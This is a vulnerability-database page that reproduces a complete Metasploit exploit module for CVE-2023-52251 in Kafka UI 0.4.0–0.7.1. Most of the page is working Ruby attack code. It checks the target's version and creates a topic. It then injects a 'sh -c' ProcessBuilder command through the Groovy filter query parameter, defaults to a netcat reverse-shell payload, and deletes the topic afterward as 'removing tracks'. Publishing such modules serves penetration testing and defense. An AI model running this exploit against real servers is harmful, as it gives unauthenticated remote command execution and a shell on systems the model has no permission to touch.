Lucene search
K

Kafka UI 0.7.1 Command Injection Exploit

🗓️ 20 Feb 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 307 Views

Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter allowing attacker to execute arbitrary shell commands at the topic sectio

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Code Injection in Provectus Ui
6 Jan 202411:07
githubexploit
BDU FSTEC
The vulnerability in the Apache Kafka cluster management web interface, kafka-ui, allows a attacker to execute arbitrary code.
26 Feb 202400:00
bdu_fstec
Circl
CVE-2023-52251
25 Jan 202422:26
circl
CNNVD
kafka-ui OS Command Injection Vulnerability
25 Jan 202400:00
cnnvd
CVE
CVE-2023-52251
25 Jan 202400:00
cve
Cvelist
CVE-2023-52251
25 Jan 202400:00
cvelist
Metasploit
Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.
17 Feb 202419:51
metasploit
Nuclei
Kafka UI 0.7.1 Command Injection
28 May 202605:39
nuclei
NVD
CVE-2023-52251
25 Jan 202421:15
nvd
OSV
CVE-2023-52251
25 Jan 202421:15
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.',
        'Description' => %q{
          A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing
          an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter
          at the `topic` section.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'BobTheShopLifter and Thingstad', # Discovery of the vulnerability CVE-2023-52251
        ],
        'References' => [
          ['CVE', '2023-52251'],
          ['URL', 'https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251'],
          ['URL', 'https://github.com/BobTheShoplifter/CVE-2023-52251-POC']
        ],
        'DisclosureDate' => '2023-09-27',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => false,
        'Targets' => [
          [
            'Unix/Linux Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ARCH_CMD],
              'Type' => :unix_cmd,
              'Payload' => {
                'Encoder' => 'cmd/base64',
                'BadChars' => "\x00"
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8080,
          'SSL' => false
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
  end

  def vuln_version?
    @version = ''
    res = send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'actuator', 'info')
    })
    if res && res.code == 200 && (res.body.include?('build') || res.body.include?('git'))
      res_json = res.get_json_document
      unless res_json.blank?
        if res.body.include?('build')
          @version = res_json['build']['version'].delete_prefix('v') # remove v from vx.x.x
        elsif res.body.include?('git')
          # use case where only the git commit id gets returned without the version information
          # determine version using the git commit id to match the first 7 chars of the sha commit stored in data/kafka_ui_versions.json file.
          git_commit_id = res_json['git']['commit']['id']
          kafka_ui_versions_json = JSON.parse(File.read(::File.join(Msf::Config.data_directory, 'kafka_ui_versions.json'), mode: 'rb'))
          unless kafka_ui_versions_json.blank?
            # loop thru the list of commits and return the version based a match on the first 7 chars of the sha commit else return nil
            kafka_ui_versions_json.each do |tag|
              if tag['commit']['sha'][0, 7] == git_commit_id
                @version = tag['name'].delete_prefix('v')
                break
              end
            end
          end
        end
      end
      return Rex::Version.new(@version) <= Rex::Version.new('0.7.1') && Rex::Version.new(@version) >= Rex::Version.new('0.4.0') if @version.match(/\d\.\d\.\d/)
    end
    false
  end

  def get_cluster
    res = send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api', 'clusters')
    })
    if res && res.code == 200 && res.body.include?('status')
      res_json = res.get_json_document
      unless res_json.blank?
        # loop thru list of clusters and return an active cluster with topic count > 0 else return nil
        res_json.each do |cluster|
          if cluster['status'] == 'online' || cluster['topicCount'] > 0
            return cluster['name']
          end
        end
      end
    end
    nil
  end

  def create_topic(cluster)
    topic_name = Rex::Text.rand_text_alphanumeric(4..10)
    post_data = {
      name: topic_name.to_s,
      partitions: 1,
      replicationFactor: 1,
      configs:
        {
          'cleanup.policy': 'delete',
          'retention.bytes': '-1'
        }
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?(topic_name.to_s)
      res_json = res.get_json_document
      unless res_json.blank?
        return res_json['name']
      end
    end
    nil
  end

  def delete_topic(cluster, topic)
    res = send_request_cgi({
      'method' => 'DELETE',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s)
    })
    return true if res && res.code == 200

    false
  end

  def produce_message(cluster, topic)
    # Create a dummy message to trigger the groovy script execution
    post_data = {
      partition: 0,
      key: 'null',
      content: 'null',
      keySerde: 'String',
      valueSerde: 'String'
    }.to_json
    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s, 'messages'),
      'data' => post_data.to_s
    })
    return true if res && res.code == 200

    false
  end

  def execute_command(cmd, _opts = {})
    payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"#{cmd}\").redirectErrorStream(true).start()"
    return send_request_cgi({
      'method' => 'GET',
      'ctype' => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'api', 'clusters', @cluster.to_s, 'topics', @new_topic.to_s, 'messages'),
      'vars_get' => {
        'q' => payload.to_s,
        'filterQueryType' => 'GROOVY_SCRIPT',
        'attempt' => 2,
        'limit' => 100,
        'page' => 0,
        'seekDirection' => 'FORWARD',
        'keySerde' => 'String',
        'valueSerde' => 'String',
        'seekType' => 'BEGINNING'
      }
    })
  end

  def check
    vprint_status("Checking if #{peer} can be exploited.")
    return CheckCode::Appears("Kafka-ui version: #{@version}") if vuln_version?

    unless @version.blank?
      if @version.match(/\d\.\d\.\d/)
        return CheckCode::Safe("Kafka-ui version: #{@version}")
      else
        return CheckCode::Detected("Kafka-ui unknown version: #{@version}")
      end
    end
    CheckCode::Safe
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    vprint_status('Searching for active Kafka cluster...')
    @cluster = get_cluster
    fail_with(Failure::NotFound, 'Could not find or connect to an active Kafka cluster.') if @cluster.nil?
    vprint_good("Active Kafka cluster found: #{@cluster}")

    vprint_status('Creating a new topic...')
    @new_topic = create_topic(@cluster)
    fail_with(Failure::Unknown, 'Could not create a new topic.') if @new_topic.nil?
    vprint_good("New topic created: #{@new_topic}")

    vprint_status('Trigger Groovy script payload execution by creating a message...')
    fail_with(Failure::PayloadFailed, 'Could not trigger the Groovy script payload execution.') unless produce_message(@cluster, @new_topic)

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    end

    # cleaning up the mess and remove new created topic
    vprint_status('Removing tracks...')
    if delete_topic(@cluster, @new_topic)
      vprint_good("Successfully deleted topic #{@new_topic}.")
    else
      print_error("Could not delete topic #{@new_topic}. Manually cleaning required.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation